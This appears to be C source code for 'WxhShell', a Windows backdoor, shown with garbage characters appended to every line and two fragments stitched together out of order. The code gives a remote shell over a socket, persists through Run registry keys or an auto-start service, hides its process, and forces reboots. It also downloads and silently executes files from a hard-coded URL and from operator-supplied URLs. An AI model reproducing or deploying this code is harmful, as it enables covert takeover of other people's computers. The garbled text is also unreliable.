    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }kJfTsFS  
    if(Boot(SHUTDOWN)) o%EzK;Df  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z@bq*':~J  
    else { 1omjP`]|,  
    closesocket(wsh); { XI0KiE  
    ExitThread(0); Iax-~{B3AY  
    } }~I(e  
    break; dh9Qo4-{  
    } =*0KH##%$  
  // 获取shell "0*yD[2  
  case 's': { `ef C4#*!!  
    CmdShell(wsh); e>$d*~mwn  
    closesocket(wsh); + 6noQYe  
    ExitThread(0); % w\   
    break; ppm =o4`s[  
  } (M0"I1g|w  
  // 退出 &7\=J w7w  
  case 'x': { 9f#~RY|#m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?xa70Pb{;  
    CloseIt(wsh); k kZ2Jxvx  
    break; MQc<AfW3/  
    } G_m$?0\  
  // 离开 ]QU 9|1  
  case 'q': { &9+]{jXF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hQeGr 2gMq  
    closesocket(wsh); lr*p\vH  
    WSACleanup(); V),wDyi  
    exit(1); T }}T`Ce  
    break; 1 5heLnei  
        } `w6*(t:T  
  } ^ABt g#  
  } cp:U@Nh(  
VGY x(  
  // 提示信息 4,,@o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C6?({ QB@  
} E"O6N.}.  
  } A`B>fI  
sH'IA~7   
  return; @3w6 !Sgh  
} l`bl^~xRo  
|Q(3rcOrV"  
// shell模块句柄 D_N0j{E  
int CmdShell(SOCKET sock) !V'~<&  
{ I!?)}d  
STARTUPINFO si; UVd ^tg  
ZeroMemory(&si,sizeof(si)); Zt"#'1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &wX568o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j%U'mGx  
PROCESS_INFORMATION ProcessInfo; @tX8M[.eA  
char cmdline[]="cmd"; s||c#+j"8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u?F^gIw  
  return 0; tCR#TW+IY-  
} w61*jnvi@  
* lJkk  
// 自身启动模式 aBd>.]l?  
int StartFromService(void) Z,~PW#8<&  
{ j0b>n#e7  
typedef struct e#AmtheZR  
{ dHkI9;  
  DWORD ExitStatus; *`_ 2uBz  
  DWORD PebBaseAddress; h3[x ZJO  
  DWORD AffinityMask; jK]An;l{Z  
  DWORD BasePriority; 7Y%Si5  
  ULONG UniqueProcessId; h+!@`c>)Y  
  ULONG InheritedFromUniqueProcessId; ~c=F$M^"c  
}   PROCESS_BASIC_INFORMATION;  9+ A~(  
G+1i~&uV  
PROCNTQSIP NtQueryInformationProcess; gF2,Jm@"6  
:'4 ",  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &X6hOc:``\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \>tx:;D3  
Sc?q}tt^C  
  HANDLE             hProcess; d3]<'B:nb  
  PROCESS_BASIC_INFORMATION pbi; pupt__NZ)n  
X>i{288M3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fizL_`uMqb  
  if(NULL == hInst ) return 0; + } y"S-  
2Z-QVwa*U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H@te!EE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '?$R YU,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y"|gC!V}  
Dqc2;>  
  if (!NtQueryInformationProcess) return 0; bZ#5\L2  
:eH\9$F`x;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ><qA+/4]_  
  if(!hProcess) return 0; c=D~hzN  
BZ,{gy7g7X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k#-%u,t  
q<K/q"0-l  
  CloseHandle(hProcess); ovZ!}  
xKkXr-yb`f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }S;A%gYm  
if(hProcess==NULL) return 0; Svdmg D!  
30O7u3Zrb  
HMODULE hMod; T@Z-;^aV  
char procName[255]; x->+w Jm@s  
unsigned long cbNeeded; V@nZ_.  
* ).YU[i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aoBiN_  
$WO{!R  
  CloseHandle(hProcess); ^I{/j 'b&  
pwRCfR)"X  
if(strstr(procName,"services")) return 1; // 以服务启动 &(m01  
lx7]rkWo|a  
  return 0; // 注册表启动 eCiI=HcW;  
} TkVqv v  
M^lP`=sSv  
// 主模块 MpTOC&NG%s  
int StartWxhshell(LPSTR lpCmdLine) tns4e\  
{ G_M8? G0  
  SOCKET wsl; 7 .]H9  
BOOL val=TRUE; xUTTRJ(\  
  int port=0; -`NzBuV$2,  
  struct sockaddr_in door; xz~Y %Y|Z  
 $ Tal.  
  if(wscfg.ws_autoins) Install(); X|aD>CT  
r]U8WM3r  
port=atoi(lpCmdLine); c& K`t  
h"[:$~/UJ  
if(port<=0) port=wscfg.ws_port; +|TXKhm{  
c7.M\f P  
  WSADATA data; F3t IJz>3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1vS-m x  
clk]JA (  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YABi`;R]'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >s )L(DHa"  
  door.sin_family = AF_INET; 2XEE/]^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g+7j?vC{'  
  door.sin_port = htons(port); Ug384RzHN  
d%RH]j4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i5|)|x3  
closesocket(wsl); <8YvsJ  
return 1; 6J">@+  
} 2H`>Kj  
s< Fp17  
  if(listen(wsl,2) == INVALID_SOCKET) { /x4L,UJ= P  
closesocket(wsl); X4+H8],)  
return 1; LXZI|K[}k  
} jeB"j  
  Wxhshell(wsl); MTq/  
  WSACleanup(); t,Q"Pt?  
#N%j9  
return 0; 3w"_Onwk  
3sW!ya-VZ  
} nwzyL`kF  
YQWq*o^:  
// 以NT服务方式启动 yb)qg]2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -8R SE4)  
{ uy<<m"cA;  
DWORD   status = 0; OmK4 \_.  
  DWORD   specificError = 0xfffffff; )."dqq^ q  
'&2-{Y [!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hc|#JS2H@y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .$ YYN/+W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t*dq*(3"c  
  serviceStatus.dwWin32ExitCode     = 0; EXwU{Hl  
  serviceStatus.dwServiceSpecificExitCode = 0; L)1\=[Ov  
  serviceStatus.dwCheckPoint       = 0; 7#Uzz"^  
  serviceStatus.dwWaitHint       = 0; ((<\VQ,>(  
G}LV"0?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WJ LqH<  
  if (hServiceStatusHandle==0) return; {+[ Ex2b$  
?YUL~P  
status = GetLastError(); a5/Dz&>j6  
  if (status!=NO_ERROR) vp9wRGd  
{ >_G'o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8TK*VOf`  
    serviceStatus.dwCheckPoint       = 0; e,Y<$kPV  
    serviceStatus.dwWaitHint       = 0; ?RW1%+[  
    serviceStatus.dwWin32ExitCode     = status; C\vOxBAB  
    serviceStatus.dwServiceSpecificExitCode = specificError; F S$8F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T LF'7ufq  
    return; )4.-6F7U?  
  } a.RYRq4o  
MJCz %zK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rha|Rk~  
  serviceStatus.dwCheckPoint       = 0; E@#<p-@~  
  serviceStatus.dwWaitHint       = 0; @1<VvW=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O{Mn\M6  
} Aon.Y Z  
]0[ot$Da6  
// 处理NT服务事件,比如:启动、停止 _OS,zZ0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]ms+ Va_/  
{ ZU;jz[}  
switch(fdwControl) {"2CI^!/U.  
{ ]0MuXiR  
case SERVICE_CONTROL_STOP: 7,8TMd1`M  
  serviceStatus.dwWin32ExitCode = 0; }T AG7U*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ET 0(/Zz  
  serviceStatus.dwCheckPoint   = 0; i[ws%GfEv  
  serviceStatus.dwWaitHint     = 0; N8x.D-=gG  
  { TIR Is1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !IB}&m  
  } %+<1X?;,Fq  
  return; rk@qcQR  
case SERVICE_CONTROL_PAUSE: n}fV$qu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^tI&5S]nE  
  break; x25zk4-  
case SERVICE_CONTROL_CONTINUE: ; sqxFF@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vy2"B ch  
  break; 5zkj ;?s  
case SERVICE_CONTROL_INTERROGATE: mZmEE2h  
  break; 0IA' 5)  
}; `&xdSH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kp1 F"!  
} c': 4e)  
pG"h ZB3)  
// 标准应用程序主函数 %y*'bS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q9B!0G.-bs  
{ moh,aB#  
'Ffvd{+:8  
// 获取操作系统版本 v\qyDZVV  
OsIsNt=GetOsVer(); p~""1m01,D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H~SU:B:  
a" T+CA  
  // 从命令行安装 W tHJG5  
  if(strpbrk(lpCmdLine,"iI")) Install(); </?ef&  
aNQ(xiskb  
  // 下载执行文件 W1t_P&i  
if(wscfg.ws_downexe) { bn5O2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jG)66E*"  
  WinExec(wscfg.ws_filenam,SW_HIDE); lN{>.q@V`r  
} JO&RuAq  
NYs<`6P:Y  
if(!OsIsNt) { [KbLEMrPba  
// 如果时win9x,隐藏进程并且设置为注册表启动 jO|`aUY Tf  
HideProc(); ?i\V^3S n$  
StartWxhshell(lpCmdLine); TcJJ"[0  
} 8ph1xQ'  
else (x.qyYEoI  
  if(StartFromService()) 8m `Y  
  // 以服务方式启动 cfg.&P>   
  StartServiceCtrlDispatcher(DispatchTable); &jQqlQ j  
else 0Q8iX)  
  // 普通方式启动 2Ur&_c6 P  
  StartWxhshell(lpCmdLine); .h4Z\R`  
/6yVbo"  
return 0; .*>C[^  
} 4gdXO  
1p&=tN  
O#C0~U]dDW  
)`\Q/TMl5  
=========================================== 6"}F KRR  
,1JQjsR   
i.?rom  
) .' + {  
  uk,9N  
^gpd '*b  
" *-q &~  
]gv3|W  
#include <stdio.h> D+jvF  
#include <string.h> EGFPv'De  
#include <windows.h> *`/4KMrq  
#include <winsock2.h> T('rM :)/  
#include <winsvc.h> f(!cz,y^\*  
#include <urlmon.h> ?@`5^7*  
RF4B ]Gqd  
#pragma comment (lib, "Ws2_32.lib") -HuIz6  
#pragma comment (lib, "urlmon.lib") .Zs.O/  
[)I W9E v  
#define MAX_USER   100 // 最大客户端连接数 YZnFU( j  
#define BUF_SOCK   200 // sock buffer $M4_"!  
#define KEY_BUFF   255 // 输入 buffer T%Zfo7  
;G"!y<F  
#define REBOOT     0   // 重启 vMn$lT@  
#define SHUTDOWN   1   // 关机 O~ x{p,s U  
^( 7l!  
#define DEF_PORT   5000 // 监听端口 Lk^bzW>f  
.N\t3\9}  
#define REG_LEN     16   // 注册表键长度 'X/:TOk{W  
#define SVC_LEN     80   // NT服务名长度 > #9 a&O  
0D  `9  
// 从dll定义API Iq6EoDoq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?@Tsd@s~r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); np}0O  X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1L\r:mx3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %.\+j,G7  
GU Mf}y  
// wxhshell配置信息 Pmr'W\aIR  
struct WSCFG { $~ d6KFT  
  int ws_port;         // 监听端口 7suT26C  
  char ws_passstr[REG_LEN]; // 口令 pXh`o20I  
  int ws_autoins;       // 安装标记, 1=yes 0=no JlEfUg#*  
  char ws_regname[REG_LEN]; // 注册表键名 uz=9L<$  
  char ws_svcname[REG_LEN]; // 服务名 w&]$!g4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LHA :frC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .uN(44^+x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b0se-#+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N"~P$B1 X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s(L!]d.S$y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )QnsRW{D"  
g^i\7'  
}; j4=\MK  
j``Ku@/x0  
// default Wxhshell configuration vn@sPT  
struct WSCFG wscfg={DEF_PORT, ~= otdJ  
    "xuhuanlingzhe", ,eqRI>,\  
    1, i.-2 w6  
    "Wxhshell", hOdU%  
    "Wxhshell", aouYPxA`  
            "WxhShell Service", 2) 2:KX  
    "Wrsky Windows CmdShell Service", Ak O-PL  
    "Please Input Your Password: ", :kjs: 6f]  
  1, ?TmVLny  
  "http://www.wrsky.com/wxhshell.exe", C}9|e?R[Rz  
  "Wxhshell.exe" e?]HNy  
    }; 5fmQ+2A C1  
Sj8fo^K50  
// 消息定义模块 moMNd(p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KyqP@ {  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~!%G2E!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -7 Kstc-  
char *msg_ws_ext="\n\rExit."; 7|!Zx-}  
char *msg_ws_end="\n\rQuit."; _,p/2m-Pj  
char *msg_ws_boot="\n\rReboot..."; @TzUc E  
char *msg_ws_poff="\n\rShutdown..."; 8'v:26   
char *msg_ws_down="\n\rSave to "; kmu7~&75  
yv)-QIC3  
char *msg_ws_err="\n\rErr!"; D>-Pv-f/  
char *msg_ws_ok="\n\rOK!"; byZj7q5&Q  
GQE7P()  
char ExeFile[MAX_PATH]; C]na4yE 8  
int nUser = 0; \vW'\}  
HANDLE handles[MAX_USER]; Q7mikg=1-  
int OsIsNt; WaE%g   
#!r>3W&  
SERVICE_STATUS       serviceStatus; Ov.oyke4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V[7D4r.j  
DKl\N~{F  
// 函数声明 6/Z_r0^O  
int Install(void);  4NIb_E0  
int Uninstall(void); 1{qG?1<zZ6  
int DownloadFile(char *sURL, SOCKET wsh); H8Z|gq1r  
int Boot(int flag); %F:; A  
void HideProc(void); tC7 4=  
int GetOsVer(void); ;iUO1t)^  
int Wxhshell(SOCKET wsl); &m TYMpA  
void TalkWithClient(void *cs); N4WX}  
int CmdShell(SOCKET sock); ~cfvL*~5  
int StartFromService(void); :G5O_T$  
int StartWxhshell(LPSTR lpCmdLine); <anU#bEuQ  
bhfC2@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %V#? 1{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T?7++mcA  
5`::#[  
// 数据结构和表定义 zN\C  
SERVICE_TABLE_ENTRY DispatchTable[] = +.xK`_[M  
{ lKS 2OOYC`  
{wscfg.ws_svcname, NTServiceMain}, >.hDt9@4  
{NULL, NULL} C!Fi &~  
}; !d95gq<=>  
q 'uGB fE.  
// 自我安装 (Hs,Tj  
int Install(void) x l=i_  
{ (!9+QXb'  
  char svExeFile[MAX_PATH]; d?/>Qqw:#  
  HKEY key; /2 $d'e  
  strcpy(svExeFile,ExeFile); Mh@n>+IR  
_93:_L  
// 如果是win9x系统,修改注册表设为自启动 " #w%sG^_  
if(!OsIsNt) { o ethO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]y"=/Nu-Ja  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #E_<}o  
  RegCloseKey(key); D@c@Dt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KNOVb=# f_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xv 7noq|  
  RegCloseKey(key); VWqZ`X  
  return 0; 9A9T'g)Du  
    } U7-*]ik  
  } ?R4%z2rcW  
} EWOa2^%}Z\  
else { ,MG`} *N}  
8wn{W_5a  
// 如果是NT以上系统,安装为系统服务 BW"24JhF"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `dRqheX  
if (schSCManager!=0) <@Y`RqV+  
{ Xc L%0%`  
  SC_HANDLE schService = CreateService \(r$f!`  
  ( 'p[B`Ft3F  
  schSCManager, Jw{ duM;]  
  wscfg.ws_svcname, g~76c.u-  
  wscfg.ws_svcdisp, Xx\,<8Xn  
  SERVICE_ALL_ACCESS, 6.6?Rp".  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @\W-=YKLg  
  SERVICE_AUTO_START, y>^0q/=]?O  
  SERVICE_ERROR_NORMAL, ]<C]&03))  
  svExeFile, O9AFQ)u   
  NULL, [ B*r{  
  NULL, "CZv5)  
  NULL, #)O^aac29  
  NULL, ?F*I2rt#  
  NULL #er% q:  
  ); zU_ dk'&,  
  if (schService!=0) Zx7aae_{  
  { @ 'U`a4  
  CloseServiceHandle(schService); .bj:tmz  
  CloseServiceHandle(schSCManager); Q8$;##hzt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OU!."r`9  
  strcat(svExeFile,wscfg.ws_svcname); _CBMU'V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  2IGU{&s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]bYmM@  
  RegCloseKey(key); 8q; aCtei  
  return 0; f>3)}9?xc}  
    } `7[!bCl  
  } <2~DI0pp(  
  CloseServiceHandle(schSCManager); G2-0r.f  
} RL fQT_V  
} ^66OzT8A  
zL'S5'<F|  
return 1; WZh_z^rwn  
} '`f+QP=`  
'(g;nU<  
// 自我卸载 *zW]IQ'A  
int Uninstall(void) qVH.I6)  
{ 15yiDI o  
  HKEY key; [JV?Mdzu  
F/3L^k]  
if(!OsIsNt) { 5fYWuc9}z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7PBE(d%m  
  RegDeleteValue(key,wscfg.ws_regname); 16 \)C/*  
  RegCloseKey(key); bm4Bq>*=U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %~,Fe7#p  
  RegDeleteValue(key,wscfg.ws_regname); IM5[O}aq  
  RegCloseKey(key); %s^1de  
  return 0; CF@*ki3X  
  } 8si{|*;hL  
} C ,|9VH  
} w~Nat7nD  
else { !nlr!+(fV  
`(=?k[48  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VJ_fA}U  
if (schSCManager!=0) ck3+A/ !z  
{ ~t ZB1+%)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oN%zpz;OR  
  if (schService!=0) leI ]zDk=  
  { E'5KJn;_7  
  if(DeleteService(schService)!=0) { Q]3]Z/i  
  CloseServiceHandle(schService); lnLy"f"zV  
  CloseServiceHandle(schSCManager); 9)o@d`*  
  return 0; B692Mn  
  } 5SmJ'zFO  
  CloseServiceHandle(schService); '>n&3`r5  
  } H)EL0 Kv/  
  CloseServiceHandle(schSCManager); _`p^B%[  
} R.F l5B  
} 5h0Hk<N  
dUl"w`3  
return 1; c2fSpvz  
} j+{cc: h"X  
d_0(;'  
// 从指定url下载文件 3EY m@oZj  
int DownloadFile(char *sURL, SOCKET wsh) 1s(]@gt  
{ MPy>< J  
  HRESULT hr; %*wEzvt *  
char seps[]= "/"; /c 7z[|  
char *token; }Nwp{["}]L  
char *file; $`ptSR  
char myURL[MAX_PATH]; $p&eS_f  
char myFILE[MAX_PATH]; u%E8&T8,  
zUZET'Bm9  
strcpy(myURL,sURL); b4bd^nrqV  
  token=strtok(myURL,seps); N:k>V4oE  
  while(token!=NULL) ~{5v a  
  { B8n[ E  
    file=token; {;& U5<NO  
  token=strtok(NULL,seps); ->.9[|lIg  
  } (xVx|:R[<H  
"`cPV){]  
GetCurrentDirectory(MAX_PATH,myFILE); W*CRxGyZCl  
strcat(myFILE, "\\"); d|7LCW+HW  
strcat(myFILE, file); >~Tn%u<  
  send(wsh,myFILE,strlen(myFILE),0); <)T~_s  
send(wsh,"...",3,0); e@TwZ6l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9+s&|XS*  
  if(hr==S_OK) /F~/&p1<\k  
return 0; {6:*c  
else vt *  
return 1; Y)1J8kq_  
g<M!]0OK  
} \4G9YK-N>  
l 'wu-  
// 系统电源模块 cc_'Kv!  
int Boot(int flag) |pWu|M _'  
{ Fb8d= Zc  
  HANDLE hToken; Q~svtN  
  TOKEN_PRIVILEGES tkp; FdzdoMY  
|Rkw/5  
  if(OsIsNt) { REK):(i7P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5V =mj+X?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <f8j^  
    tkp.PrivilegeCount = 1; NW`.7'aWT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U.P1KRY|=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 87+fd_G  
if(flag==REBOOT) { RO/(Ldh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GWPBP-)0  
  return 0; JJ_ Z{  
} ZCc23UwI  
else { SE^l`.U@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _0'X!1"  
  return 0; K$/"I0YyI  
} uyB2   
  } :adz~L$  
  else { j<0 ;JAL  
if(flag==REBOOT) { js <Up/1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M kJBKS  
  return 0; [w@S/K[_|  
} wLqj<ot  
else { `VO;\s$5j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `:V'E>B  
  return 0; YARL/V  
} (Q% @]  
} 5!qf{4j  
ZlMT) ~fM&  
return 1; Er~KX3vF  
} Um4zI>  
8uLS7\,$z  
// win9x进程隐藏模块 a?r$E.W'&  
void HideProc(void) = wDXlAQ  
{ g*YA~J@  
Il&7n_ H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uE9,N$\L_  
  if ( hKernel != NULL ) -WqhOZ  
  { ez[x8M>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (E00T`@t0i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JXe~ 9/!  
    FreeLibrary(hKernel); L@AFt)U  
  } A~a 3bCX+"  
54>0Dv??H  
return; @U5gxK*  
} <zn)f@W  
;2`6eyr  
// 获取操作系统版本 s a o&  
int GetOsVer(void) 8o%Vn'^t  
{ X0P +[.i  
  OSVERSIONINFO winfo; [iq^'E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k"DZ"JC  
  GetVersionEx(&winfo); W)Y`8&,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E#(e2Z=  
  return 1; ^"?a)KC  
  else q%kCTw  
  return 0; ,ESli/6  
} }a5TY("d9H  
cK]n"6N[  
// 客户端句柄模块 Fik ;hB  
int Wxhshell(SOCKET wsl) 1K@ieVc  
{ }9\6!GY0  
  SOCKET wsh; o}KVT%}  
  struct sockaddr_in client; xJ/)*?@+  
  DWORD myID; /FXvrH(  
QlMLWi  
  while(nUser<MAX_USER) S5>ztK.e  
{ vf.MSk?~ar  
  int nSize=sizeof(client); r4iNX+h?V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UwS7B~  
  if(wsh==INVALID_SOCKET) return 1; Q<V1`e  
q9ra  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jnJ*e-AW  
if(handles[nUser]==0) T=-UcF  
  closesocket(wsh); L1!~T+%uQ  
else [nVBnB  
  nUser++; Xv!Gg6v6  
  } QjSWl,{ $D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )m =xf1  
3h.,7,T  
  return 0; *Xk5H,:  
} >&+V[srfD  
!^F_7u@Q  
// 关闭 socket nm<VcCc  
void CloseIt(SOCKET wsh) =ZURh_{xV  
{ rM= :{   
closesocket(wsh); Q+Q"JU  
nUser--; Rjq\$aY}%  
ExitThread(0); s&V sK#  
} $dI mA  
+=9iq3<yfS  
// 客户端请求句柄 8~Zw"  
void TalkWithClient(void *cs) /Lr`Aka5  
{ Ow>u!P!  
aG;F=e  
  SOCKET wsh=(SOCKET)cs; "TaLvworb4  
  char pwd[SVC_LEN]; Z HZxr  
  char cmd[KEY_BUFF]; 9kWI2cLzQt  
char chr[1]; zT)cg$8%fY  
int i,j; |0}Xb|+  
|Y}YhUI&  
  while (nUser < MAX_USER) { y{3+Un  
/# Jvt  
if(wscfg.ws_passstr) { 7NT} Zwf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I>nYI|o1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &'k(v(>n,  
  //ZeroMemory(pwd,KEY_BUFF); j$_?g!I=gK  
      i=0; EmO[-W|2  
  while(i<SVC_LEN) { dDl+  
9[VYd '  
  // 设置超时 !4+Die X  
  fd_set FdRead; x^)?V7[t  
  struct timeval TimeOut; | WJ]7C  
  FD_ZERO(&FdRead); T5}3Y3G,6  
  FD_SET(wsh,&FdRead); ;rT/gwg!  
  TimeOut.tv_sec=8; k?Hi_;o  
  TimeOut.tv_usec=0; AKjobA#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S)zw[m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +pT;; 9  
%Bm{ctf#)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T2]8w1l&K  
  pwd=chr[0]; ] H;E(1iU  
  if(chr[0]==0xd || chr[0]==0xa) { z6M5 '$\y  
  pwd=0; 6<\dQ+~  
  break; ->51t  
  } 3O*iv{-&  
  i++; 'qiAmaX  
    } 5s^vC2$)  
B0yGr\KJ  
  // 如果是非法用户,关闭 socket 1&e8vVN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }03?eWk/y  
} ^pe/~ :a  
'=+N )O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~2hzyEh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9:RV5Dt  
oq|o"n)~  
while(1) { UK^w;w2F  
4IW90"uc  
  ZeroMemory(cmd,KEY_BUFF); |wb_im  
tq}sedYhee  
      // 自动支持客户端 telnet标准   }vB{6E+h/w  
  j=0; `R (N3  
  while(j<KEY_BUFF) { _+)OL-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <w~$S0_  
  cmd[j]=chr[0]; dMjQV&  
  if(chr[0]==0xa || chr[0]==0xd) { 0hkYexX73  
  cmd[j]=0; c{D<+XM  
  break; lws.;abm%n  
  } _]'kw [  
  j++; 1=+S'_j  
    } |uFb(kL[U  
VrT-6r'Y  
  // 下载文件 nw*a?$S3  
  if(strstr(cmd,"http://")) { Z[z" v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A`vRUl,c=  
  if(DownloadFile(cmd,wsh))  wDiq~!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `_neYT  
  else h^IizrqU  
